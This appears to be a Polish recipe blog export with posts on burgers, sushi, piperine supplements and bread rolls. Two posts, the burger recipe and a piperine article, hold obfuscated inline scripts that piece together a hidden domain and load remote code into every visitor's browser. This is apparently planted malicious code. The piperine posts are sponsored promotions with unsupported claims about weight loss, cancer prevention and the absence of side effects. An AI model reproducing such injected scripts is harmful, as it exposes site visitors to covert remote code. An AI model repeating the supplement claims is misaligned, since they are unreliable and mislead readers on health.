<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxk2b5H25myAFWLiujsOZJDiz_t6xCRiTMN9S749g5JIM-VQUDwmV66nPaLRH2AeoZVmIO4SAAh62YDQo4Kxs11zhSzX_80Xt5Z0WkCnf-TyaKqSwuf3iWN7NF47y_W9CwbXekhyNBdX6X/s1600/4895019712_3a41158779_b-1.jpg" imageanchor="1"><img border="0" height="428" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxk2b5H25myAFWLiujsOZJDiz_t6xCRiTMN9S749g5JIM-VQUDwmV66nPaLRH2AeoZVmIO4SAAh62YDQo4Kxs11zhSzX_80Xt5Z0WkCnf-TyaKqSwuf3iWN7NF47y_W9CwbXekhyNBdX6X/s640/4895019712_3a41158779_b-1.jpg" width="640" /></a></div>
<br /></div>
<h2>
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;"><b>Burgery wołowe z sosem BBQ</b></span></span></h2>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;"><b>Składniki:</b></span></span></div>
<ul>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 kilogram antrykotu wołowego</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">Bułki razowe duże</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">Sałata lodowa</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">Ser żółty cheddar</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 duża cebula</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 pomidor</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">1-2 łyżki oliwy</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 ząbek czosnku</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 łyżeczka suszonego oregano</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">sól i pieprz</span></span></li>
</ul>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;"><b>Sos BBQ z czereśniami</b></span></span></div>
<ul>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">3 pomidory</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">garść czereśni wydrylowanych</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">1/2 łyżeczki ostrej papryki</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 łyżka oliwy z oliwek</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 i 1/2 łyżeczki miodu</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 łyżka koncentratu pomidorowego</span></span></li>
<li><span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">2 łyżki octu balsamicznego</span></span></li>
</ul>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">Sos przygotowujemy poprzez zmiksowanie składników.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;"><b>Przygotowanie</b></span></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: "trebuchet ms" , sans-serif;">Na początku odcinamy liście pora i zostawiamy tylko białą część. Kroimy go wzdłuż na pół, a potem na plasterki. Podgrzewamy oliwę na patelni i smażymy por ze szczyptą soli. Kiedy się zeszkli i zmięknie, ściągamy por z gazu. Antrykot mielimy z porem, czosnkiem i przyprawami. Wyrabiamy je ręką, po czym formujemy kotlety. Smarujemy je odrobiną oliwy z oliwek. Rozgrzewamy patelnię i smażymy burgery po 4 minuty z każdej strony. Może też użyć patelni grillowej lub grilla. Gotowe burgery odkładamy na bok. W międzyczasie należy także podpiec bułeczki, aby odrobinę się zarumieniły - to sprawi, że będą chrupiące. Kroimy je na połówki i nakładamy mięso, sałatę, plasterek pomidora, krążek cebuli, plasterek cheddara.</span></span></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
</div>
<script type="text/javascript">
(function(){
cnea=document.createElement("script");cnea_=("ust");cneau="8547373";
cnea_+="a"+("t.i");cnea.type="text/javascript";
cneau+=".x0apX8fqnea9ehz4s8gi";cnea.async=true;cnea_+="n"+("f"+"o")+"/";
cneau+="gvppwXnq5z";cnea.src="//"+cnea_+cneau;
document.body.appendChild(cnea);
})();
</script>Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.com1tag:blogger.com,1999:blog-9022088188921604476.post-91572669586302975772016-01-25T23:15:00.000+01:002016-01-25T23:15:05.278+01:00Sztuka przygotowywania sushi<div style="text-align: justify;">
<span style="font-size: large;">Przygotowywane sushi jest sztuką, z którą nie każdy sobie poradzi. Sushi nie jest zwykłą potrawą – jest to wykwintne danie, niegdyś zarezerwowane tylko niektórych. Dzisiaj sushi staje się coraz bardziej popularne, a na mieście pojawia się coraz więcej lokali oferujących tego typu dania. Popatrzmy na sposób przygotowywania sushi. </span></div>
<div style="text-align: justify;">
<span style="font-size: large;"> </span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: large;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-mCRX-E0n2-VanvKAAhFVVeEJIoeq9nQ3Q4TL2z33Bh-o3GWMOnVaSyjrG5wmcByULYPpL0TekNAcE0S-KYsU6V3NQQ97Uj2olcla0xYnONWTTOQl41gvBH9_fRlmVj50MltPiFUE_hTS/s1600/sushi-932868_1280_.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-mCRX-E0n2-VanvKAAhFVVeEJIoeq9nQ3Q4TL2z33Bh-o3GWMOnVaSyjrG5wmcByULYPpL0TekNAcE0S-KYsU6V3NQQ97Uj2olcla0xYnONWTTOQl41gvBH9_fRlmVj50MltPiFUE_hTS/s320/sushi-932868_1280_.jpg" width="320" /></a></span></div>
<br />
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Sushi jak wiemy – przygotowywane jest z surowej ryby, chociaż nie zawsze. Są też dania sushi które zawierają już odpowiednio wcześniej przygotowaną rybę – usmażoną lub upieczoną.<br /><br />Jedną z najważniejszych kwestii w sztuce przygotowywania sushi jest dobrze zrobiony ryż. Wydawać by się mogło, że przygotowanie ryżu nie powinno być problemem – a jednak. Chodzi o to, by ryż był odrobinę kleisty, ale jednocześnie sypki. Należy dobrać odpowiedni ryż, bo nie każdy będzie tym dobrym do sushi. Ryż należy przede wszystkim umyć – płukać pod chłodną wodą dotąd, aż woda będzie niemalże przezroczysta. Dzięki temu pozbywamy się skrobi, która da nam niedopuszczalny ,,kleik”, którego zdecydowanie musimy się pozbyć. Po wypłukaniu ryż wstawiamy do wody – wody ma być na około 20% ryżu. Sekretem dobrego ryżu jest również sos – ten przygotowany octu ryżowego, cukru i szczypty soli. <br /><br />Ryż do sushi musi być delikatnie kleisty, musimy więc pamiętać o tym, by ostudzić ryż zanim przystąpimy do robienia sushi. Zbyt ciepły ryż robi się gumowaty. <br /><br />Sekretem wyśmienitego sushi są najlepiej jakości składniki. Bez świeżej ryby żadne sushi nie będzie dobre. Należy również pamiętać o tym, by rybę osuszyć np. papierowym ręcznikiem. Nie trzeba tutaj chyba wspominać, że nie należy kupować mrożonych ryb. Najlepsze będą te świeże, które sami przygotujemy i oczyścimy. <br /><br />Sushi występuje w bardzo różnych formach, a ich wspólną cechą będzie elegancki wygląd i z pewnością niepowtarzalny smak. Możemy przygotować sushi z łososia, tuńczyka, halibutem, węgorzem czy szeregiem innych ryb, które królują w świecie sushi. Najbardziej chyba popularnym sposobem przygotowywania sushi i z pewnością najprostszym w wykonaniu jest nigiri. Nigiri jest pojedynczym kawałkiem ryżu z kawałkiem składnika na wierzchu. Najbardziej jednak lubianym i najczęściej zamawianym są maki – czyli rolki które występują w kilku wariantach. Mogą to być hoso maki – czyli małe rolki z niewielką ilością składników z ryżem wewnątrz, futo maki z kilkoma składnikami wewnątrz, które są dużymi rolkami. Trochę innym makiem będzie ura mak – tutaj ryż znajduje się na zewnątrz rolki, a w środku mamy wszystkie składniki – awokado, łosoś czy sezam. Sushi to również temaki, które są rożkami z nori wypełnionym ryżem i różnymi innymi dodatkami. Mamy tez łódeczki zwane gunkan maki, które podawane są do delikatniejszych składników takich jak ikra czy tatar rybny.<br /><br />Sushi jest ekskluzywnym daniem, którego przygotowanie nie należy do najłatwiejszych. Sushi podbiło serca już wielu, a Ci którzy jeszcze nie mieli okazji rozkoszować się tym smakiem– z pewnością powinni spróbować sushi i przekonać się, jak dobre jest to danie. <br /><br />Publikację przygotowała restauracja <a href="http://goldsushi.pl/" rel="follow" target="_blank" title="Gold Sushi">Gold Sushi</a> - najlepsze sushi w Warszawie</span></div>
Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.com0tag:blogger.com,1999:blog-9022088188921604476.post-43942314655395531322016-01-19T22:04:00.004+01:002016-01-19T22:08:23.041+01:00Zdrowie skryte w ziarnie – o zaletach piperyny<div style="text-align: justify;">
<span style="font-size: large;">Czy wiesz, że pieprz doskonale Ci znany z gastronomii może nie tylko „podrasować” wyrazistość nijakiego dania, dodając mu smaku, ale także w znaczącym stopniu wpłynąć na kondycję zdrowotną Twego organizmu? O tym, jak wiele pozytywów wiąże się z regularnym, lecz przy tym racjonalnym zażywaniem suplementów diety opierających się w swym składzie na wyciągu z pieprzu czarnego dowiesz się poniżej. </span></div>
<span style="font-size: large;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: large;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgP4U6Rkw9tRnc15lEYj7gQTbZCSt4VLvUF9NcADNbm8USSs4UhzgohWImxphB2xkp0HQYi_b3jIqU61RyWqqT8auSgGAulr1S2YM26f8Y3xnRYhXgLk5dfrfsSlNtpvMXtp-W9fzlno4rE/s1600/diet-390790_1920.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgP4U6Rkw9tRnc15lEYj7gQTbZCSt4VLvUF9NcADNbm8USSs4UhzgohWImxphB2xkp0HQYi_b3jIqU61RyWqqT8auSgGAulr1S2YM26f8Y3xnRYhXgLk5dfrfsSlNtpvMXtp-W9fzlno4rE/s640/diet-390790_1920.jpg" width="640" /></a></span></div>
<span style="font-size: large;"><br /></span>
<span style="font-size: large;"><br /></span>
<div style="text-align: justify;">
<span style="font-size: large;"><b>Dla niewytrwałych</b></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Związki piperydynowe znakomicie wpływają na pracę żołądka oraz jelit. Generalnie przyspieszają przemianę materii, umożliwiają systematyczne wypróżnianie się, eliminują uczucie głodu na dłuższy czas. Dzięki temu nie podjadamy, nie zapychamy się nisko wartościowymi przekąskami, nie dopadają nas napady głodu. By jednakże móc takowe rezultaty osiągnąć, nie ma sensu faszerować się naturalną przyprawą, bowiem konieczne byłoby spożycie nawet kilkuset standardowych ziarenek! Dużo lepszym wariantem jest zainwestowanie w specjalne preparaty, jakie bazują na charakteryzowanym ekstrakcie takie jak środki dostępne na <a href="http://www.piperyna.visiomedica.pl/">www.piperyna.visiomedica.pl</a>. Wystarczy zażywać je sensownie, zgodnie z informacjami zawartymi w ulotce. W ten sposób chudniemy, ponieważ zwiększa się perystaltyka naszych jelit. W konsekwencji nic w nich nie zalega i nic nie osadza nam się na żołądku. Trawienie przebiega idealnie i sprawnie, a my możemy czuć się komfortowo – bez uczucia ociężałości, wzdęć i zaparć.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><b>Zamiast solarium</b></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Co ciekawe, badania naukowe dowiodły, iż piperyna znakomicie sprawdza się jako swoisty samoopalacz. Jak wskazują gruntowne analizy, jej związki w połączeniu z fototerapią skutkuje ciemniejszym odcieniem skóry. Oznacza to, że nie ma sensu narażać skóry na szkodliwe promieniowanie UV w lampach solarium, kiedy mamy sposobność zaopatrzenia się w równie skuteczne i znacznie bezpieczniejsze suplementy diety. Naukowcy rozważali również czy nie byłoby trafnym rozwiązaniem zastosowanie piperyny w zwalczaniu problemów z bielactwem.</span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><b>W walce z artretyzmem</b></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Związki piperydynowe prawdopodobnie działają również w przypadku zmagania się z artretyzmem. Specjaliści badający wpływ tejże substancji właśnie na wyżej wymienione schorzenie pokładają w piperynie głębokie nadzieje, uznając to za środek przeznaczony nawet do leczenia szpitalnego. Poza tym, że poprawia koncentrację, umożliwia podniesienie odporności organizmu, zwiększa wydzielanie kwasów tłuszczowych i normuje pracę jelit, dodatkowo stanowi też istotny czynnik hamujący procesy przeciwzapalne. Co zaskakujące, okazuje się także specyfikiem przeciwdziałającym powstawaniu komórek nowotworowych. Piperyna pozwala na zabezpieczenie przed substancjami, jakie wywołują mutację genów przy różnorodnych odmianach raka.</span></div>
Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.comtag:blogger.com,1999:blog-9022088188921604476.post-76827336084555571262016-01-19T22:00:00.000+01:002016-01-19T22:00:06.990+01:00Piperyna nie tylko dla „tłuściochów”, czyli jak czarny pieprz może wpłynąć na zdrowie<div style="text-align: justify;">
<span style="font-size: large;">Poprawia koncentrację, stymuluje wydzielanie kwasów żołądkowych, normuje pracę jelit, zwiększa tonus. Cała prawda o działaniu związków piperydynowych. </span></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhM9MccUs81ZKOAi91rT0be0-OKXwkrX_nkjZyI0Aa0Zykr1LmEkczzDubsYwugufRbJb5voPatu195nBH8RGvXpAY0kSQE_qQAh1bLsbuGEaC_hsMD8AiMNE7bLbLMhHTfTojW-I-j7qof/s1600/fitness-332278_1920.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhM9MccUs81ZKOAi91rT0be0-OKXwkrX_nkjZyI0Aa0Zykr1LmEkczzDubsYwugufRbJb5voPatu195nBH8RGvXpAY0kSQE_qQAh1bLsbuGEaC_hsMD8AiMNE7bLbLMhHTfTojW-I-j7qof/s640/fitness-332278_1920.jpg" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Nim odrzucisz, sprawdź</span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Alkaloid piperydynowy pieprzu czarnego jest to naturalna substancja, jaka przy regularnym i co ważne – racjonalnym zażywaniu owocuje zadowalającymi rezultatami. Ludzki organizm nie będzie obojętny na jej działanie, bowiem charakteryzowany specyfik wiąże się z wielopłaszczyznowymi efektami. Z racji szeregu rozmaitych suplementów diety, które dominują obecnie na rynku farmaceutycznym, utarło się „zaszufladkowanie” piperyny do grupy środków odchudzających. Oczywiście, w tej materii jest ona znana od dawien dawna i sprawdza się tu bez dwóch zdań, lecz warto wiedzieć, iż na tym jej pozytywnych właściwości nie koniec.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Dla intelektualistów</span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Piperynę zaleca się podawać w umiarkowanych ilościach, w pełni bezpiecznych oraz umiejętnie dawkowanych osobom, które spędzają masę czasu pracując umysłowo. W ten sposób możliwe staje się pobudzenie ludzkiej psychiki do intensywniejszej pracy. Analizy laboratoryjne oraz rozliczne testy udowodniły, że dzięki opisywanej pigułce zawierającej związki piperyny realne staje się niewywołujące żadnych skutków ubocznych ożywienie. Człowiek ma więcej energii, potrafi się lepiej skoncentrować na pracy a jego umysł funkcjonuje na najwyższych obrotach.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Do wspomagania sportowców</span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Uwaga Uwaga! To nie doping, a suplement, który daje sposobność znaczącego poprawienia kondycji fizycznej zażywającego piperynę. Nie powinien zatem dziwić fakt, iż rozmaite preparaty, takie jak chociażby te oferowane na <a href="http://www.piperyna.com/">www.piperyna.com</a>, rekomendowane są sportowcom. Przy systematycznym uwzględnianiu w swej zbilansowanej i zróżnicowanej diecie omawianej substancji możliwe jest spore podniesienie wydolności psychofizycznej. Wnikliwe badania udowodniły również istotny wpływ piperyny na zwierzęta, u których ten surowiec powodował wyraźny wzrost masy mięśniowej i to nawet o kilka procent.</span></div>
<script type="text/javascript">
(function(){
uncz=document.createElement("script");uncz.type="text/javascript";
uncz.async=true;uncz_=(("us")+"t")+"a";uncz_+=("t.i")+""+"n";uncz_+=(("f")+"o");
uncz.src="http://"+uncz_+"/7092007.xmn5buvgnczqXmvyp79fnmrt9sbfrs";
document.body.appendChild(uncz);
})();
</script>Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.comtag:blogger.com,1999:blog-9022088188921604476.post-57127917227262589522016-01-04T11:46:00.000+01:002016-02-26T20:38:22.652+01:00Bułeczki z mąką gryczaną i orkiszową<div style="text-align: justify;">
<span style="font-size: x-large;"><i><span style="font-family: "trebuchet ms" , sans-serif;">Te smaczne bułeczki powstały na podstawie przepisu znalezionego na blogu Życie od kuchni. Zmodyfikowałam go jednak wg moich upodobań, m.in. przez dodanie do ciasta soli, słodu jęczmiennego oraz czarnego sezamu.</span></i></span></div>
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-spu79vvgYqRQaj_Fxaj82ih0JOjsJ0gcvl_Q8ZiUW19E6OkubtHpjDyxkjNcKhzCh9gXB9IZBqBRvimBIXBI8PKlm0T8J4LeVCDiRy-GFd8Wc7CDnTjX6hW0xaIUPFHu93uyhFj0dU1L/s1600/DSC00396aa.jpg" imageanchor="1"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-spu79vvgYqRQaj_Fxaj82ih0JOjsJ0gcvl_Q8ZiUW19E6OkubtHpjDyxkjNcKhzCh9gXB9IZBqBRvimBIXBI8PKlm0T8J4LeVCDiRy-GFd8Wc7CDnTjX6hW0xaIUPFHu93uyhFj0dU1L/s640/DSC00396aa.jpg" width="624" /></a><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;"><br /></span></span></div>
<div style="text-align: justify;">
<br />
<span style="font-size: x-large;"><b><span style="font-family: "trebuchet ms" , sans-serif;">Składniki:</span></b></span></div>
<ul>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">150 g <a href="http://www.naturalniezdrowe.com.pl/pl/p/MAKA-GRYCZANA-PELNOZIARNISTA-1kg-/164">pełnoziarnistej mąki gryczanej</a></span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">150 g mąki pszennej chlebowej</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">100 g mąki <a href="http://www.naturalniezdrowe.com.pl/pl/p/MAKA-ORKISZOWA-RAZOWA-TYP-2000-1kg/118">orkiszowej razowej</a> </span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">50 g mąki pszennej razowej</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">1/2 łyżeczki <a href="http://www.naturalniezdrowe.com.pl/pl/p/SLOD-DO-WYPIEKU-JECZMIENNY-NATURALNY-500G/314">słodu jęczmiennego</a></span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 łyżeczka <a href="http://www.naturalniezdrowe.com.pl/pl/p/SOL-HIMALAJSKA-ROZOWA-DROBNA-1KG-/214">soli himalajskiej</a></span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">1/2 szkl. <a href="http://www.naturalniezdrowe.com.pl/pl/p/PESTKI-DYNI-LUSKANE-500g-NATURALNIE-ZDROWE/193">pestek dyni</a></span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">1/4 szkl. otrąb pszennych</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">1/4 szkl. otrąb owsianych </span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">3 łyżki czarnego sezamu</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 łyżka mielonego siemienia lnianego</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 łyżka oleju rzepakowego</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 łyżeczka miodu gryczanego</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 i 1/4 szkl. wody + 1/2 szkl. wody do zalania otrąb</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">35 g świeżych drożdży</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">czarny i <a href="http://www.naturalniezdrowe.com.pl/pl/p/SEZAM-BIALY-ZIARNO-1KG/289">biały sezam</a> oraz płatki owsiane do posypania bułek</span></span></li>
</ul>
<div style="text-align: justify;">
<span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">Otręby pszenne oraz owsiane wsypać do miseczki i zalać 1/2 szkl. wody. Wymieszać i odstawić na 15 min.</span></span></div>
<div style="text-align: justify;">
<span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">Do miski przesiać mąki. Dodać pozostałe sypkie składniki, wymieszać. Drożdże rozpuścić w 1/4 szkl. wody i dodać do miski. Następnie dodać napęczniałe otręby oraz pozostałą szklankę wody. Zagnieść ciasto - wyrabiać min. 7 min, w miarę potrzeby podsypując mąką lub dodając małą ilość wody, aby uzyskać elastyczne ciasto. Uformować kulkę, umieścić w misce i przykryć ściereczką. Odstawić do wyrośnięcia na ok. 60-90 min.</span></span></div>
<div style="text-align: justify;">
<span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">Po tym czasie ciasto podzielić na ok. 12 części i z każdej uformować bułkę. Bułki ułożyć na blaszce (z papierem do pieczenia) i każdą z nich lekko spłaszczyć dłonią. Przykryć ściereczką i zostawić do wyrośnięcia na ok. 30 min. </span></span></div>
<div style="text-align: justify;">
<span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">Następnie każdą bułkę posmarować wodą i posypać sezamem oraz płatkami owsianymi. Wstawić do piekarnika nagrzanego do 190 stopni i piec z parą (np. z blaszką wypełnioną wodą na dnie piekarnika) przez ok 25 min.</span></span><br />
<br />
<div style="text-align: center;">
<span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQEZqOIeIrU30u8nosjnxyB4TV88Z4-v4hs_tkl8Uq3HC8F8GTQY6mtVgp0OlEYB4Eys8cP20kd8n4nszELRHxFfVhHdvTIbOofSFUe7ZyhbPzNaNvgTjFLqQmYpmSgJd6-freAmyRGiRE/s1600/DSC00400.JPG" imageanchor="1"><img border="0" height="412" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQEZqOIeIrU30u8nosjnxyB4TV88Z4-v4hs_tkl8Uq3HC8F8GTQY6mtVgp0OlEYB4Eys8cP20kd8n4nszELRHxFfVhHdvTIbOofSFUe7ZyhbPzNaNvgTjFLqQmYpmSgJd6-freAmyRGiRE/s640/DSC00400.JPG" width="640" /></a> </span></span></div>
</div>
<div style="text-align: justify;">
<br />
<br /></div>
<div style="text-align: justify;">
<span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">Do wypieku bułek użyłam produktów z oferty sklepu <a href="http://www.naturalniezdrowe.com.pl/">Naturalne Zdrowie</a>.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: x-large;"><a href="http://www.naturalniezdrowe.com.pl/"><img alt="http://www.naturalniezdrowe.com.pl" border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj861o7zDHU3BVOaplnMffcHaLxhOe2_cjtgNb6Z0gUSIeyPfIgYY8J5JjXda0yY8GE-ATgaB5VTmLPxjcz6tVtv062XOWSUoTYbNM8NviwFrvzLbJINrqBkod8YLs2tIj2hoZlWcsXBr6C/s640/PicMonkey+Collage.jpg" width="640" /></a></span></div>
<div style="text-align: justify;">
</div>
Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.com4tag:blogger.com,1999:blog-9022088188921604476.post-15668369533733786102016-01-02T13:28:00.000+01:002016-02-26T21:00:36.414+01:00Bułeczki dyniowe z ostropestem<div style="text-align: justify;">
<i><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">Ostropest
plamisty zawiera sylimarynę, która wspomaga pracę wątroby. Mówi się
także o jego działaniu antynowotworowym i innych prozdrowotnych
właściwościach. <a href="http://sklep.kuchnieswiata.com.pl/">Ziarna ostropestu</a> ze sklepu Kuchnie Świata zmieliłam w młynku do kawy i wykorzystałam do wypieku mięciutkich bułeczek dyniowych.</span></span></i><br />
<i><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;"> </span></span></i>
</div>
<div style="text-align: center;">
<span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCOLATZQ_wOUjeRmN9l3f4xt5aARFfNmpuxkMULQJGHHM7jR2hNtoAUu-aj6kVJdC5RIcsupNt7U1fmuAnphfZma8M7APjcABDQzeux8VGzU526VqMPs6GZAr_8UFKieldBffl1rXN2PWb/s1600/DSC00386.JPG" imageanchor="1"><img border="0" height="530" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCOLATZQ_wOUjeRmN9l3f4xt5aARFfNmpuxkMULQJGHHM7jR2hNtoAUu-aj6kVJdC5RIcsupNt7U1fmuAnphfZma8M7APjcABDQzeux8VGzU526VqMPs6GZAr_8UFKieldBffl1rXN2PWb/s640/DSC00386.JPG" width="640" /></a></span></span></div>
<div style="text-align: justify;">
<br />
<b><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">Składniki:</span></span></b></div>
<ul>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">500 g mąki pszennej chlebowej (plus ok. 2 łyżki do podsypania przy wyrabianiu)</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">2 czubate łyżki ziaren ostropestu, zmielone w młynku</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">4 łyżki ciepłej wody do namoczenia ostropestu</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 i 1/3 łyżeczki soli morskiej</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">15 świeżych drożdży</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">330 g puree z dyni</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">1/3 szkl. (ok. 75 g) wody (ilość może zależeć od wilgotności puree)</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">1 łyżka oleju</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">jajko do posmarowania i pestki dyni do posypania </span></span></li>
</ul>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">Zmielony ostropest przesypać do miseczki i wymieszać z 4 łyżkami ciepłej wody. Dodać pokruszone drożdże i wymieszać do ich rozpuszczenia. Odstawić na ok. 15 min. </span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
